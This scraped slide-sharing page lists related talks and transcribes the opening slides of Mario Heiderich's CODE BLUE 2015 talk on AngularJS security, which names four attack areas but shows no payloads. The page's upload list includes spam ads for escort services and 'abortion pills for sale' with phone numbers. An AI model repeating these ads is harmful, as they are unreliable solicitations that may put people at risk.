Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
 
Integrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSIntegrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSTom Borger
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedMinded Security
 
jQuery Features to Avoid
jQuery Features to AvoidjQuery Features to Avoid
jQuery Features to Avoiddmethvin
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxMathias Karlsson
 
An Introduction to AngularJS
An Introduction to AngularJSAn Introduction to AngularJS
An Introduction to AngularJSFalk Hartmann
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
An overview of node.js
An overview of node.jsAn overview of node.js
An overview of node.jsvaluebound
 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSOrtus Solutions, Corp
 
Google Developers Group - Porto Alegre # Introducing to AngularJS
Google Developers Group - Porto Alegre # Introducing to AngularJSGoogle Developers Group - Porto Alegre # Introducing to AngularJS
Google Developers Group - Porto Alegre # Introducing to AngularJSVinicius Linck
 
In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
 

Ähnlich wie An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015 (20)

An Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJS
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML Apocalypse
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJS
 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the Sill
 
Intro to AngularJs
Intro to AngularJsIntro to AngularJs
Intro to AngularJs
 
Integrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSIntegrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMS
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession Learned
 
jQuery Features to Avoid
jQuery Features to AvoidjQuery Features to Avoid
jQuery Features to Avoid
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
 
An Introduction to AngularJS
An Introduction to AngularJSAn Introduction to AngularJS
An Introduction to AngularJS
 
Dust.js
Dust.jsDust.js
Dust.js
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
An overview of node.js
An overview of node.jsAn overview of node.js
An overview of node.js
 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJS
 
Google Developers Group - Porto Alegre # Introducing to AngularJS
Google Developers Group - Porto Alegre # Introducing to AngularJSGoogle Developers Group - Porto Alegre # Introducing to AngularJS
Google Developers Group - Porto Alegre # Introducing to AngularJS
 
In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you scream
 

Mehr von CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

Mehr von CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Kürzlich hochgeladen

Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfkalichargn70th171
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxbodapatigopi8531
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
How To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected WorkerHow To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected WorkerThousandEyes
 
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️anilsa9823
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsJhone kinadey
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...Health
 
How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsAndolasoft Inc
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceanilsa9823
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Modelsaagamshah0812
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AIABDERRAOUF MEHENNI
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionSolGuruz
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsArshad QA
 

Kürzlich hochgeladen (20)

Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptx
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
How To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected WorkerHow To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected Worker
 
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
 
How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.js
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
Microsoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdfMicrosoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdf
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Models
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
 
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS LiveVip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with Precision
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 

An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015

  • 1. An Abusive Relationship with AngularJS About the Security Adventures with the "Super-Hero" Framework A talk by Mario Heiderich mario@cure53.de || @0x6D6172696F
  • 2. Godzilla in your DOM ● Dr.-Ing. Mario Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum ● PhD Thesis about Client Side Security and Defense ● Founder of Cure53 ● Pentest- & Security-Firm located in Berlin ● Security, Consulting, Workshops, Trainings ● Simply the Best Company in the World ● Published Author and Speaker ● Specialized on HTML5, DOM and SVG Security ● JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And DOMPurify! ● @0x6D6172696F ● mario@cure53.de
  • 5. What is AngularJS? ● Popular JavaScript MVC ● Model-View-Whatever actually ● Self-proclaimed “Superheroic Framework” ● Maintained and recommended by Google ● Polarizing Philosophy ● Ever-growing user-base ● Large rate of adoption ● Heavy traffic on GitHub repository
  • 6. Why AngularJS ● It's not the first time I've been talking about AngularJS and its shenanigans. ● We've been whaling on AngularJS for quite some time actually. ● Here for example. ● Leading to a strange discussion. ● Is it personal? No. The reasons are different.
  • 7.
  • 8. Relationship Reasons ● It's got a large amount of (ironic, duh!) self-love. Superheroic framework. ● It's changing ways websites work. ● It breaks the API often and makes upgrades harder. ● It assumes to be smarter than HTML and works with “markup sugar”. ● It will break everything in upcoming version 2.0.
  • 9.
  • 10. The Honey Boo Boo of MVC?
  • 11. Maybe Not ● AngularJS has high security standards. ● Security level is great if the rules are being followed. ● By developers and maintainers. Both. ● And anything complex running in the browser must know the browser. ● The web security paradox of layers. ● Network, Server, Browser, Framework, User, … and all the ways back to the network.
  • 12. It's better to design your application in such a way that users cannot change client-side templates. For instance: Do not mix client and server templates Do not use user input to generate templates dynamically Do not run user input through $scope.$eval Consider using CSP (but don't rely only on CSP) https://docs.angularjs.org/guide/security
  • 14. Four General Attack-Vectors ● A1: Attacking the Sandbox ● A2: Attacking the Sanitizer ● A3: Attacking the CSP Mode ● A4: Attacking the Codebase
  • 15. A1
